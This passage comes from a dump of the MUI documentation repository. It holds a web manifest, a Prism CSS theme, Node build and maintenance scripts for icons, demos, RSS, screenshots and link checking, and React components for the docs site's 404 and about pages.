    "content": "{\n  \"name\": \"MUI\",\n  \"short_name\": \"MUI\",\n  \"display\": \"minimal-ui\",\n  \"start_url\": \"/\",\n  \"theme_color\": \"#007FFF\",\n  \"background_color\": \"#ffffff\",\n  \"icons\": [\n    {\n      \"src\": \"/static/icons/48x48.png\",\n      \"sizes\": \"48x48\"\n    },\n    {\n      \"src\": \"/static/icons/96x96.png\",\n      \"sizes\": \"96x96\"\n    },\n    {\n      \"src\": \"/static/icons/192x192.png\",\n      \"sizes\": \"192x192\"\n    },\n    {\n      \"src\": \"/static/icons/256x256.png\",\n      \"sizes\": \"256x256\"\n    },\n    {\n      \"src\": \"/static/icons/384x384.png\",\n      \"sizes\": \"384x384\"\n    },\n    {\n      \"src\": \"/static/icons/512x512.png\",\n      \"sizes\": \"512x512\"\n    }\n  ]\n}\n"
  },
  {
    "path": "docs/public/static/styles/prism-okaidia.css",
    "content": "/**\n * okaidia theme for JavaScript, CSS and HTML\n * Loosely based on Monokai textmate theme by http://www.monokai.nl/\n * @author ocodia\n */\n\ncode[class*='language-'],\npre[class*='language-'] {\n  /* color: #f8f8f2; */\n  /* background: none; */\n  /* text-shadow: 0 1px rgba(0, 0, 0, 0.3); */\n  /* font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; */\n  /* font-size: 1em; */\n  text-align: left;\n  white-space: pre;\n  word-spacing: normal;\n  word-break: normal;\n  word-wrap: normal;\n  /* line-height: 1.5; */\n\n  /* -moz-tab-size: 4; */\n  /* -o-tab-size: 4; */\n  /* tab-size: 4; */\n\n  -webkit-hyphens: none;\n  -moz-hyphens: none;\n  -ms-hyphens: none;\n  hyphens: none;\n}\n\n/* Code blocks */\n/*\npre[class*='language-'] {\n  padding: 1em;\n  margin: 0.5em 0;\n  overflow: auto;\n  border-radius: 0.3em;\n}$\n*/\n\n/*\n:not(pre) > code[class*='language-'],\npre[class*='language-'] {\n  background: #272822;\n}\n*/\n\n/* Inline code */\n/*\n:not(pre) > code[class*='language-'] {\n  padding: 0.1em;\n  border-radius: 0.3em;\n  white-space: normal;\n}\n*/\n\n/*\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n  color: #8292a2;\n}\n*/\n\n.token.punctuation {\n  color: #f8f8f2;\n}\n\n.token.namespace {\n  opacity: 0.7;\n}\n\n/*\n.token.property,\n.token.tag,\n.token.constant,\n.token.symbol,\n.token.deleted {\n  color: #f92672;\n}\n*/\n\n/*\n.token.boolean,\n.token.number {\n  color: #ae81ff;\n}\n*/\n\n.token.selector,\n.token.attr-name,\n.token.string,\n.token.char,\n.token.builtin,\n.token.inserted {\n  color: #a6e22e;\n}\n\n.token.operator,\n.token.entity,\n.token.url,\n.language-css .token.string,\n.style .token.string,\n.token.variable {\n  color: #f8f8f2;\n}\n\n.token.atrule,\n.token.attr-value,\n.token.function,\n.token.class-name {\n  color: #e6db74;\n}\n\n.token.keyword {\n  color: #66d9ef;\n}\n\n.token.regex,\n.token.important {\n  color: #fd971f;\n}\n\n.token.important,\n.token.bold {\n  font-weight: bold;\n}\n.token.italic {\n  font-style: italic;\n}\n\n.token.entity {\n  cursor: help;\n}\n\n/**\n * Overrides to reach AA, copied from https://reactjs.org, on top of the\n * source from https://unpkg.com/prismjs/themes/prism-okaidia.css that are above.\n */\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n  color: #b2b2b2;\n}\n\n.token.property,\n.token.tag,\n.token.symbol,\n.token.deleted {\n  color: #fc929e;\n}\n\n.token.boolean,\n.token.number {\n  color: #b78eff;\n}\n"
  },
  {
    "path": "docs/scripts/buildIcons.js",
    "content": "/* eslint-disable no-console */\nconst path = require('path');\nconst gm = require('gm');\n\nconst SIZES = [48, 96, 180, 192, 256, 384, 512];\nconst INPUT_ICON = path.join(__dirname, '../public/static/logo.png');\nconst OUTPUT_DIR = path.join(__dirname, '../public/static/icons');\n\nconsole.log('Generating Icons');\n\nconst promises = SIZES.map(\n  (size) =>\n    new Promise((resolve, reject) => {\n      gm(INPUT_ICON)\n        .resize(size, size)\n        .write(path.join(OUTPUT_DIR, `${size}x${size}.png`), (err) => {\n          if (err) {\n            reject(err);\n            return;\n          }\n\n          resolve();\n          console.log(`Size ${size} created`);\n        });\n    }),\n);\n\nPromise.all(promises).catch((err) => {\n  setTimeout(() => {\n    console.log(err);\n    throw err;\n  });\n});\n"
  },
  {
    "path": "docs/scripts/buildServiceWorker.js",
    "content": "/* eslint-disable no-console */\nconst path = require('path');\nconst fs = require('node:fs/promises');\n\nasync function prepend(file, string) {\n  const data = await fs.readFile(file, 'utf8');\n  await fs.writeFile(file, string + data, 'utf8');\n}\n\nasync function run() {\n  const swDest = path.join(__dirname, '../export/sw.js');\n  const swSrc = path.join(__dirname, '../src/sw.js');\n\n  await fs.cp(swSrc, swDest, { recursive: true });\n  await prepend(\n    swDest,\n    `\n// uuid: ${new Date()}\n`,\n  );\n\n  console.log('Successfully built service worker');\n}\n\nrun();\n"
  },
  {
    "path": "docs/scripts/formattedTSDemos.js",
    "content": "/* eslint-disable no-console */\n/**\n * Transpiles TypeScript demos to formatted JavaScript.\n * Can be used to verify that JS and TS demos are equivalent. No introduced change\n * would indicate equivalence.\n */\n\n/**\n * List of demos or folders to ignore when transpiling.\n * Only ignore files that aren't used in the UI.\n */\nconst ignoreList = ['/pages.ts'];\n\nconst path = require('path');\nconst fs = require('node:fs');\nconst babel = require('@babel/core');\nconst prettier = require('prettier');\nconst {\n  getPropTypesFromFile,\n  injectPropTypesInFile,\n} = require('@mui/internal-scripts/typescript-to-proptypes');\nconst {\n  createTypeScriptProjectBuilder,\n} = require('@mui-internal/api-docs-builder/utils/createTypeScriptProject');\nconst { default: yargs } = require('yargs');\nconst { hideBin } = require('yargs/helpers');\nconst { fixBabelGeneratorIssues, fixLineEndings } = require('@mui/internal-docs-utils');\nconst { default: CORE_TYPESCRIPT_PROJECTS } = require('../../scripts/coreTypeScriptProjects');\n\nconst babelConfig = {\n  presets: ['@babel/preset-typescript'],\n  plugins: [],\n  generatorOpts: { retainLines: true },\n  babelrc: false,\n  configFile: false,\n  shouldPrintComment: (comment) => !comment.startsWith(' @babel-ignore-comment-in-output'),\n};\n\nconst workspaceRoot = path.join(__dirname, '../../');\n\nasync function getFiles(root) {\n  const files = [];\n\n  try {\n    await Promise.all(\n      (await fs.promises.readdir(root)).map(async (name) => {\n        const filePath = path.join(root, name);\n        const stat = await fs.promises.stat(filePath);\n\n        if (\n          stat.isDirectory() &&\n          !ignoreList.some((ignorePath) =>\n            filePath.startsWith(path.normalize(`${workspaceRoot}/${ignorePath}`)),\n          )\n        ) {\n          files.push(...(await getFiles(filePath)));\n        } else if (\n          stat.isFile() &&\n          /\\.tsx?$/.test(filePath) &&\n          !filePath.endsWith('types.ts') &&\n          !filePath.endsWith('.d.ts') &&\n          !ignoreList.some((ignorePath) => filePath.endsWith(path.normalize(ignorePath)))\n        ) {\n          files.push(filePath);\n        }\n      }),\n    );\n  } catch (error) {\n    if (error.message?.includes('no such file or directory')) {\n      return [];\n    }\n    throw error;\n  }\n\n  return files;\n}\n\nconst TranspileResult = {\n  Success: 0,\n  Failed: 1,\n};\n\nasync function transpileFile(tsxPath, project) {\n  const jsPath = tsxPath.replace(/\\.tsx?$/, '.js');\n  try {\n    const source = await fs.promises.readFile(tsxPath, 'utf8');\n\n    const transformOptions = { ...babelConfig, filename: tsxPath };\n    const enableJSXPreview =\n      !tsxPath.includes(path.join('pages', 'premium-themes')) &&\n      !tsxPath.includes(path.join('getting-started', 'templates'));\n    if (enableJSXPreview) {\n      transformOptions.plugins = transformOptions.plugins.concat([\n        [\n          require.resolve('docs/src/modules/utils/babel-plugin-jsx-preview'),\n          { maxLines: 16, outputFilename: `${tsxPath}.preview` },\n        ],\n      ]);\n    }\n    const { code } = await babel.transformAsync(source, transformOptions);\n\n    if (/import \\w* from 'prop-types'/.test(code)) {\n      throw new Error('TypeScript demo contains prop-types, please remove them');\n    }\n\n    console.log(tsxPath);\n\n    const propTypesAST = getPropTypesFromFile({\n      project,\n      filePath: tsxPath,\n      shouldResolveObject: ({ name }) => {\n        if (name === 'classes' || name === 'ownerState' || name === 'popper') {\n          return false;\n        }\n\n        return undefined;\n      },\n    });\n    const codeWithPropTypes = injectPropTypesInFile({ components: propTypesAST, target: code });\n    const prettierConfig = await prettier.resolveConfig(jsPath, {\n      config: path.join(workspaceRoot, 'prettier.config.mjs'),\n    });\n    const prettierFormat = async (jsSource) =>\n      prettier.format(jsSource, { ...prettierConfig, filepath: jsPath });\n\n    const codeWithoutTsIgnoreComments = codeWithPropTypes.replace(/^\\s*\\/\\/ @ts-ignore.*$/gm, '');\n    const prettified = await prettierFormat(codeWithoutTsIgnoreComments);\n    const formatted = fixBabelGeneratorIssues(prettified);\n    const correctedLineEndings = fixLineEndings(source, formatted);\n\n    // removed blank lines change potential formatting\n    await fs.promises.writeFile(jsPath, await prettierFormat(correctedLineEndings));\n    return TranspileResult.Success;\n  } catch (err) {\n    console.error('Something went wrong transpiling %s\\n%s\\n', tsxPath, err);\n    return TranspileResult.Failed;\n  }\n}\n\nasync function main(argv) {\n  const { watch: watchMode, disableCache, pattern } = argv;\n\n  // TODO: Remove at some point.\n  // Though not too soon so that it isn't disruptive.\n  // It's a no-op anyway.\n  if (disableCache !== undefined) {\n    console.warn(\n      '--disable-cache does not have any effect since it is the default. In the future passing this flag will throw.',\n    );\n  }\n\n  const filePattern = new RegExp(pattern);\n  if (pattern.length > 0) {\n    console.log(`Only considering demos matching ${filePattern}`);\n  }\n\n  const tsxFiles = [\n    ...(await getFiles(path.join(workspaceRoot, 'docs/src/pages'))), // old structure\n    ...(await getFiles(path.join(workspaceRoot, 'docs/data'))), // new structure\n  ].filter((fileName) => filePattern.test(fileName));\n\n  const buildProject = createTypeScriptProjectBuilder(CORE_TYPESCRIPT_PROJECTS);\n  const project = buildProject('docs', { files: tsxFiles });\n\n  let successful = 0;\n  let failed = 0;\n  (\n    await Promise.all(\n      tsxFiles.map((file) => {\n        return transpileFile(file, project);\n      }),\n    )\n  ).forEach((result) => {\n    switch (result) {\n      case TranspileResult.Success: {\n        successful += 1;\n        break;\n      }\n      case TranspileResult.Failed: {\n        failed += 1;\n        break;\n      }\n      default: {\n        throw new Error(`No handler for ${result}`);\n      }\n    }\n  });\n\n  console.log(\n    [\n      '------ Summary ------',\n      '%i demo(s) were successfully transpiled',\n      '%i demo(s) were unsuccessful',\n    ].join('\\n'),\n    successful,\n    failed,\n  );\n\n  if (!watchMode) {\n    if (failed > 0) {\n      process.exit(1);\n    }\n    return;\n  }\n\n  tsxFiles.forEach((filePath) => {\n    fs.watchFile(filePath, { interval: 500 }, async () => {\n      if ((await transpileFile(filePath, project, true)) === 0) {\n        console.log('Success - %s', filePath);\n      }\n    });\n  });\n\n  console.log('\\nWatching for file changes...');\n}\n\nyargs()\n  .command({\n    command: '$0',\n    description: 'transpile TypeScript demos',\n    builder: (command) => {\n      return command\n        .option('watch', {\n          default: false,\n          description: 'transpiles demos as soon as they changed',\n          type: 'boolean',\n        })\n        .option('disable-cache', {\n          description: 'No longer supported. The cache is disabled by default.',\n          type: 'boolean',\n        })\n        .option('pattern', {\n          default: '',\n          description:\n            'Transpiles only the TypeScript demos whose filename matches the given pattern.',\n          type: 'string',\n        });\n    },\n    handler: main,\n  })\n  .help()\n  .strict(true)\n  .version(false)\n  .parse(hideBin(process.argv));\n"
  },
  {
    "path": "docs/scripts/generateRSSFeed.ts",
    "content": "import fs from 'fs';\nimport { Feed } from 'feed';\nimport { BlogPost } from 'docs/lib/sourcing';\nimport ROUTES from 'docs/src/route';\n\nexport default function generateRssFeed(allBlogPosts: Array<BlogPost>) {\n  if (process.env.NODE_ENV !== 'production') {\n    return;\n  }\n  const siteUrl = 'https://mui.com';\n\n  const feed = new Feed({\n    title: 'MUI - Blog',\n    description:\n      'Follow the MUI blog to learn about new product features, latest advancements in UI development, and business initiatives.',\n    id: `${siteUrl}/blog`,\n    link: `${siteUrl}/blog`,\n    language: 'en',\n    image: `${siteUrl}/static/logo.svg`,\n    favicon: `${siteUrl}/favicon.ico`,\n    copyright: `Copyright © ${new Date().getFullYear()} Material UI SAS, trading as MUI.`,\n    feedLinks: {\n      rss2: `${siteUrl}/public${ROUTES.rssFeed}`,\n    },\n  });\n\n  allBlogPosts.forEach((post) => {\n    const postAuthors = post.authors && post.authors.map((author) => ({ name: author }));\n    const postDate = post.date ? new Date(post.date) : new Date();\n    const postCategory = post.tags.map((tag) => ({ name: tag }));\n    const postLink = `${siteUrl}/blog/${post.slug}`;\n\n    feed.addItem({\n      title: post.title,\n      image: post.image,\n      id: postLink,\n      link: postLink,\n      description: post.description,\n      category: postCategory,\n      date: postDate,\n      author: postAuthors,\n    });\n  });\n\n  fs.mkdirSync(`public${ROUTES.rssFeed.replace('rss.xml', '')}`, { recursive: true });\n  fs.writeFileSync(`public${ROUTES.rssFeed}`, feed.rss2());\n}\n"
  },
  {
    "path": "docs/scripts/generateTemplateScreenshots.ts",
    "content": "import fs from 'fs/promises';\nimport path from 'path';\nimport { chromium } from '@playwright/test';\n\n/**\n * README\n *\n * Usage:\n * - `pnpm template:screenshot` to generate all screenshots\n * - `pnpm template:screenshot material-ui` to generate all screenshots for Material UI templates\n * - `pnpm template:screenshot order-dashboard` to generate screenshots for file named `order-dashboard.tsx`\n * - `pnpm template:screenshot material-ui dashboard` to generate screenshots for file named `dashboard.tsx` of Material UI templates\n *\n * Note:\n * - The screenshot with `-dark` suffix is generated if the page has a button with id `toggle-mode`\n *   <button data-screenshot=\"toggle-mode\" onClick={toggleMode}>Toggle Mode</button>\n *\n * - The screenshot with `-default` suffix is generated if the page has a button with id `toggle-default-theme`\n *   <button data-screenshot=\"toggle-default-theme\" onClick={toggleDefaultTheme}>Toggle Default Theme</button>\n *\n * - The screenshot with `-default-dark` suffix is generated if the page has both buttons\n *\n * Debug:\n * - Set `chromium.launch({ headless: false })` in line:50 to see the browser\n */\n\nfunction sleep(duration: number): Promise<void> {\n  return new Promise<void>((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\nconst host = process.env.DEPLOY_PREVIEW || 'http://localhost:3000';\n\n/**\n * project key should be `mui.com/<project-key>/*`\n */\nconst projects = {\n  'material-ui': {\n    input: path.join(process.cwd(), 'docs/pages/material-ui/getting-started/templates'),\n    output: 'docs/public/static/screenshots',\n    viewport: { width: 813 * 2, height: 457 * 2 },\n  },\n  'joy-ui': {\n    input: path.join(process.cwd(), 'docs/pages/joy-ui/getting-started/templates'),\n    output: 'docs/public/static/screenshots',\n    viewport: { width: 1600, height: 800 },\n  },\n};\n\nconst names = new Set(process.argv.slice(2));\n\n(async () => {\n  // eslint-disable-next-line no-console\n  console.info('Host:', host);\n  const browser = await chromium.launch({ headless: true });\n\n  await Promise.all(\n    Object.entries(projects)\n      .filter(([project]) => names.size === 0 || names.has(project))\n      .map(async ([project, { input, output, viewport }]) => {\n        const page = await browser.newPage({\n          viewport,\n          reducedMotion: 'reduce',\n        });\n\n        names.delete(project);\n\n        const files = await fs.readdir(input);\n        const urls = files\n          .filter(\n            (file) =>\n              !file.startsWith('index') &&\n              (names.size === 0 || names.has(file.replace(/\\.(js|tsx)$/, ''))),\n          )\n          .map(\n            (file) => `/${project}/getting-started/templates/${file.replace(/\\.(js|tsx)$/, '/')}`,\n          );\n\n        async function toggleMode() {\n          await page.locator('css=[data-screenshot=\"toggle-mode\"]').locator('visible=true').click();\n        }\n\n        async function captureDarkMode(outputPath: string) {\n          const btn = await page.$('[data-screenshot=\"toggle-mode\"]');\n          if (btn) {\n            if ((await btn.getAttribute('aria-haspopup')) === 'true') {\n              await toggleMode();\n              await page.getByRole('menuitem').filter({ hasText: /dark/i }).click();\n              await page.waitForLoadState('networkidle'); // changing to dark mode might trigger image loading\n              await sleep(100); // give time for image decoding, resizing, rendering\n\n              await page.screenshot({ path: outputPath, animations: 'disabled' });\n\n              await toggleMode();\n              await page\n                .getByRole('menuitem')\n                .filter({ hasText: /system/i })\n                .click(); // switch back to light\n            } else if ((await btn.getAttribute('aria-haspopup')) === 'listbox') {\n              await toggleMode();\n              await page.getByRole('option').filter({ hasText: /dark/i }).click();\n              await page.waitForLoadState('networkidle'); // changing to dark mode might trigger image loading\n              await sleep(100); // give time for image decoding, resizing, rendering\n\n              await page.screenshot({ path: outputPath, animations: 'disabled' });\n\n              await toggleMode();\n              await page\n                .getByRole('option')\n                .filter({ hasText: /system/i })\n                .click(); // switch back to light\n            } else {\n              await toggleMode();\n              await page.waitForLoadState('networkidle'); // changing to dark mode might trigger image loading\n              await sleep(100); // give time for image decoding, resizing, rendering\n\n              await page.screenshot({ path: outputPath, animations: 'disabled' });\n\n              await toggleMode(); // switch back to light\n            }\n          }\n        }\n\n        try {\n          await Promise.resolve().then(() =>\n            urls.reduce(async (sequence, aUrl) => {\n              await sequence;\n              await page.goto(`${host}${aUrl}?hideFrame=true`, { waitUntil: 'networkidle' });\n\n              const filePath = `${output}${aUrl.replace(/\\/$/, '')}.jpg`;\n              // eslint-disable-next-line no-console\n              console.info('Saving screenshot to:', filePath);\n              await page.screenshot({ path: filePath, animations: 'disabled' });\n\n              await captureDarkMode(filePath.replace('.jpg', '-dark.jpg'));\n\n              // capture custom theme\n              const toggleTheme = await page.$('[data-screenshot=\"toggle-default-theme\"]');\n              if (toggleTheme) {\n                await page.click('[data-screenshot=\"toggle-default-theme\"]');\n                await page.screenshot({\n                  path: filePath.replace('.jpg', '-default.jpg'),\n                  animations: 'disabled',\n                });\n\n                await captureDarkMode(filePath.replace('.jpg', '-default-dark.jpg'));\n              }\n\n              return Promise.resolve();\n            }, Promise.resolve()),\n          );\n        } catch (error) {\n          console.error(error);\n        }\n      }),\n  );\n\n  await browser.close();\n})();\n"
  },
  {
    "path": "docs/scripts/i18n.ts",
    "content": "// @ts-check\nimport path from 'path';\nimport fs from 'node:fs/promises';\nimport { pageToTitle } from '@mui/docs/helpers';\nimport materialPages from 'docs/data/material/pages';\nimport systemPages from 'docs/data/system/pages';\nimport { MuiPage } from '@mui/docs/MuiPage';\n\nconst EXCLUDES = ['/api', '/blog', '/x/react-', '/toolpad'];\n\nasync function run() {\n  const translationsFilename = path.join(__dirname, '../translations/translations.json');\n  const translationsFile = await fs.readFile(translationsFilename, 'utf8');\n  /**\n   * @type {{ pages: Record<String, string> }}\n   */\n  const output = JSON.parse(translationsFile);\n  output.pages = {};\n\n  /**\n   * @param {readonly import('@mui/docs/MuiPage').MuiPage[]} pages\n   */\n  const traverse = (pages: MuiPage[]) => {\n    pages.forEach((page) => {\n      if (\n        (page.pathname !== '/' && page.pathname === '/api-docs') ||\n        !EXCLUDES.some((exclude) => page.pathname.includes(exclude))\n      ) {\n        const title = pageToTitle(page);\n\n        if (title) {\n          const pathname = page.subheader || page.pathname;\n          output.pages[pathname] = title;\n        }\n      }\n\n      if (page.children) {\n        traverse(page.children);\n      }\n    });\n  };\n\n  traverse([...systemPages, ...materialPages]);\n\n  await fs.writeFile(translationsFilename, `${JSON.stringify(output, null, 2)}\\n`);\n}\n\nrun().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "docs/scripts/playground.template.tsx",
    "content": "export default function Playground() {\n  return (\n    <div>A playground for a fast iteration development cycle in isolation outside of git.</div>\n  );\n}\n"
  },
  {
    "path": "docs/scripts/reportBrokenLinks.mts",
    "content": "import * as path from 'path';\nimport { crawl } from '@mui/internal-code-infra/brokenLinksChecker';\nimport { globby } from 'globby';\n\nasync function main() {\n  // The /blog/ page has pagination that's not persisted in the url.\n  const blogPages = await globby('blog/**/*.js', {\n    cwd: path.resolve(import.meta.dirname, '../pages'),\n  });\n  const blogSeedUrls = blogPages.map((page) => {\n    const pathname = page.replace(/(?:\\/index)?\\.js$/, '');\n    return `/${pathname}`;\n  });\n\n  const { issues } = await crawl({\n    startCommand: 'pnpm start --no-request-logging -p 3001',\n    host: 'http://localhost:3001/',\n    seedUrls: ['/', ...blogSeedUrls],\n    outPath: path.resolve(import.meta.dirname, '../export/material-ui/link-structure.json'),\n    // Target paths to ignore during link checking\n    ignoredPaths: [\n      // Internal links not on this server\n      // TODO: Seed crawler with stored links from e.g. mui.com/x/link-structure.json\n      /^\\/(x|base-ui|joy-ui|store|toolpad)(\\/|$)/,\n    ],\n    // CSS selectors for content to ignore during link checking\n    ignoredContent: [\n      // Links used in demos under MemoryRouter\n      // TODO: Create an easier way to identify content under MemoryRouter\n      // (e.g. a class or an option on the demo)\n      '[id^=\"demo-\"] a[href^=\"/inbox\"]',\n      '[id^=\"demo-\"] a[href^=\"/trash\"]',\n      '[id^=\"demo-\"] a[href^=\"/spam\"]',\n      '[id^=\"demo-\"] a[href^=\"/drafts\"]',\n      '[id^=\"demo-\"] a[href^=\"#simple-list\"]',\n      '[id^=\"demo-\"] a[href^=\"#customized-list\"]',\n      '[id^=\"demo-\"] a[href^=\"#text-buttons\"]',\n      '[id^=\"demo-\"] a[href^=\"#contained-buttons\"]',\n      '[id^=\"demo-\"] a[href^=\"#outlined-buttons\"]',\n      '[id^=\"demo-\"] a[href^=\"#foo\"]',\n    ],\n    ignores: [\n      {\n        // The links checker uses standard github slugger to check if the anchor exists. But the MUI docs use\n        // a custom slugger that sometimes generates different slugs.\n        // Ideally we makeit use the github slugegr so links are consistent whether in the html version or\n        // a standard markdown renderer.\n        path: '/material-ui/react-table.md',\n        href: '#sorting-selecting',\n      },\n    ],\n  });\n\n  process.exit(issues.length);\n}\n\nmain();\n"
  },
  {
    "path": "docs/scripts/syncTeamMembers.ts",
    "content": "/* eslint-disable no-console */\nimport url from 'url';\nimport * as fs from 'fs/promises';\nimport path from 'path';\n\nasync function run() {\n  // Same as https://tools-public.mui.com/prod/pages/muicomabout\n  const response = await fetch(\n    'https://tools-public.mui.com/prod/api/data/muicomabout/queryAbout',\n    {\n      method: 'POST',\n      headers: {\n        'content-type': 'application/json',\n      },\n    },\n  );\n  const apiResponse = await response.json();\n\n  const currentDirectory = url.fileURLToPath(new URL('.', import.meta.url));\n\n  await fs.writeFile(\n    path.resolve(currentDirectory, '../data/about/teamMembers.json'),\n    JSON.stringify(apiResponse.data),\n    'utf8',\n  );\n\n  console.log('done');\n}\n\nrun();\n"
  },
  {
    "path": "docs/scripts/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"include\": [\"*.ts\"],\n  \"compilerOptions\": {\n    \"allowJs\": true,\n    \"isolatedModules\": true,\n    \"noEmit\": true,\n    \"noUnusedLocals\": true,\n    \"resolveJsonModule\": true,\n    \"skipLibCheck\": true,\n    \"esModuleInterop\": true,\n    \"types\": [\"node\"]\n  }\n}\n"
  },
  {
    "path": "docs/scripts/updateIconSynonyms.js",
    "content": "/* eslint-disable no-console */\nimport path from 'path';\nimport fs from 'node:fs';\nimport fetch from 'cross-fetch';\nimport * as mui from '@mui/icons-material';\nimport synonyms from 'docs/data/material/components/material-icons/synonyms';\n// eslint-disable-next-line import/no-relative-packages\nimport myDestRewriter from '../../packages/mui-icons-material/renameFilters/material-design-icons';\n\nfunction not(a, b) {\n  return a.filter((value) => !b.includes(value));\n}\n\nfunction union(a, b) {\n  return [...new Set([...a, ...b])];\n}\n\nasync function run() {\n  try {\n    const response = await fetch('https://fonts.google.com/metadata/icons');\n    const text = await response.text();\n    const data = JSON.parse(text.replace(\")]}'\", ''));\n\n    const materialIcons = data.icons.reduce((acc, icon) => {\n      icon.tags = not(icon.tags, icon.name.replace('_')) // remove the icon name strings from the tags\n        .filter((t) => {\n          // remove invalid tags\n          if (\n            t.includes('Remove') ||\n            t.includes('Duplicate') ||\n            t.includes('Same as') ||\n            t.includes('remove others')\n          ) {\n            console.log(`Skipping invalid tag (${t}) in ${icon.name}`);\n            return false;\n          }\n\n          return true;\n        })\n        .map((t) => t.replace(/'/g, ''));\n\n      // Fix names that can't be exported as ES modules.\n      icon.name = myDestRewriter({ base: icon.name });\n\n      acc[icon.name] = icon.tags;\n      return acc;\n    }, {});\n\n    const npmPackageIcons = Object.keys(mui).reduce((acc, icon) => {\n      const name = icon.replace(/(Outlined|TwoTone|Rounded|Sharp)$/, '');\n      acc[name] = true;\n      return acc;\n    }, {});\n\n    const iconList = union(Object.keys(materialIcons), Object.keys(synonyms))\n      .filter((icon) => {\n        // The icon is not in @mui/material so no point in having synonyms.\n        return npmPackageIcons[icon];\n      })\n      .sort((a, b) => -b.localeCompare(a));\n\n    let newSynonyms = 'const synonyms = {\\n';\n    iconList.forEach((icon) => {\n      const synonymsIconStrings = synonyms[icon] ? synonyms[icon].split(' ') : [];\n\n      // Some MD tags have multiple words in a string, so we separate those out to dedupe them\n      const materialIconStrings = materialIcons[icon]\n        ? materialIcons[icon].reduce((tags, tag) => tags.concat(tag.split(' ')), [])\n        : [];\n\n      let mergedStrings = union(synonymsIconStrings, materialIconStrings);\n      mergedStrings = mergedStrings\n        // remove strings that are substrings of others\n        .filter((tag) => !mergedStrings.some((one) => one.includes(tag) && one !== tag))\n        .sort()\n        .join(' ');\n\n      if (mergedStrings !== '') {\n        newSynonyms += `  ${icon}: '${mergedStrings}',\\n`;\n      }\n    });\n    newSynonyms += '};\\n\\nexport default synonyms;\\n';\n\n    fs.writeFileSync(\n      path.join(__dirname, `../../docs/data/material/components/material-icons/synonyms.js`),\n      newSynonyms,\n    );\n\n    console.log('Stats:');\n    console.log(`${iconList.length} synonyms icons in the generated file`);\n    console.log(`${Object.keys(npmPackageIcons).length} icons in @mui/material`);\n    console.log(`${Object.keys(materialIcons).length} icons in Material Design`);\n  } catch (err) {\n    console.log('err', err);\n    throw err;\n  }\n}\n\nrun();\n"
  },
  {
    "path": "docs/src/components/NotFoundHero.tsx",
    "content": "import { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport SearchOffRoundedIcon from '@mui/icons-material/SearchOffRounded';\n\nfunction NotFoundIllustration() {\n  return (\n    <Box\n      sx={(theme) => ({\n        mx: 'auto',\n        mb: 4,\n        height: { xs: 200, sm: 150 },\n        width: { xs: 100, sm: 200 },\n        display: 'flex',\n        flexDirection: { xs: 'column-reverse', sm: 'column' },\n        borderRadius: 1,\n        border: `1px solid ${theme.palette.grey[200]}`,\n        overflow: 'clip',\n        boxShadow: `0px 2px 8px -2px ${alpha(\n          theme.palette.primary[300],\n          0.3,\n        )}, 0px 6px 12px -2px ${alpha(theme.palette.primary[100], 0.2)}`,\n        ...theme.applyDarkStyles({\n          borderColor: theme.palette.primaryDark[700],\n          boxShadow: `0px 2px 8px -2px ${alpha(\n            theme.palette.common.black,\n            0.3,\n          )}, 0px 6px 12px -2px ${alpha(theme.palette.common.black, 0.2)}`,\n        }),\n      })}\n    >\n      <Box\n        sx={{\n          p: 1.5,\n          display: { xs: 'none', sm: 'flex' },\n          gap: '6px',\n          borderBottom: '1px solid',\n          borderColor: 'divider',\n          bgcolor: 'background.paper',\n        }}\n      >\n        <Box\n          sx={{ width: 10, height: 10, borderRadius: 2, bgcolor: 'error.500', opacity: '80%' }}\n        />\n        <Box\n          sx={{ width: 10, height: 10, borderRadius: 2, bgcolor: 'warning.500', opacity: '80%' }}\n        />\n        <Box\n          sx={{ width: 10, height: 10, borderRadius: 2, bgcolor: 'success.500', opacity: '80%' }}\n        />\n      </Box>\n      <Box\n        sx={{\n          pt: 1,\n          pb: '5px',\n          display: { xs: 'flex', sm: 'none' },\n          justifyContent: 'center',\n          borderTop: '1px solid',\n          borderColor: 'divider',\n          bgcolor: 'background.paper',\n        }}\n      >\n        <Box sx={{ height: 3, width: '40%', bgcolor: 'rgba(0,0,0,0.3)', borderRadius: 2 }} />\n      </Box>\n      <Box sx={{ flexGrow: 1, display: 'flex', alignItems: 'center', justifyContent: 'center' }}>\n        <SearchOffRoundedIcon sx={{ fontSize: 50, color: 'primary.500', opacity: '40%' }} />\n      </Box>\n    </Box>\n  );\n}\n\nexport default function NotFoundHero() {\n  return (\n    <Section\n      bg=\"gradient\"\n      sx={{\n        display: 'flex',\n        alignItems: 'center',\n        '& .MuiContainer-root': {\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n          justifyContent: 'center',\n        },\n      }}\n    >\n      <NotFoundIllustration />\n      <SectionHeadline\n        alwaysCenter\n        title={\n          <Typography component=\"h1\" variant=\"h4\" sx={{ fontWeight: 'semiBold' }}>\n            Page not found\n          </Typography>\n        }\n        description=\"Apologies, but the page you were looking for wasn't found. Try reaching for the search button on the nav bar above to look for another one.\"\n      />\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/about/AboutEnd.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport { Link } from '@mui/docs/Link';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport ROUTES from 'docs/src/route';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\n\nexport default function AboutEnd() {\n  return (\n    <Section bg=\"gradient\" sx={{ p: { sm: 8 } }}>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n          position: 'relative',\n        }}\n      >\n        <SectionHeadline\n          alwaysCenter\n          overline=\"Join us\"\n          title={\n            <Typography variant=\"h2\">\n              <GradientText>Build the next generation</GradientText>\n              <br /> of tools for UI development\n            </Typography>\n          }\n          description=\"We give developers and designers the tools to bring stunning user interfaces to life with unrivaled speed and 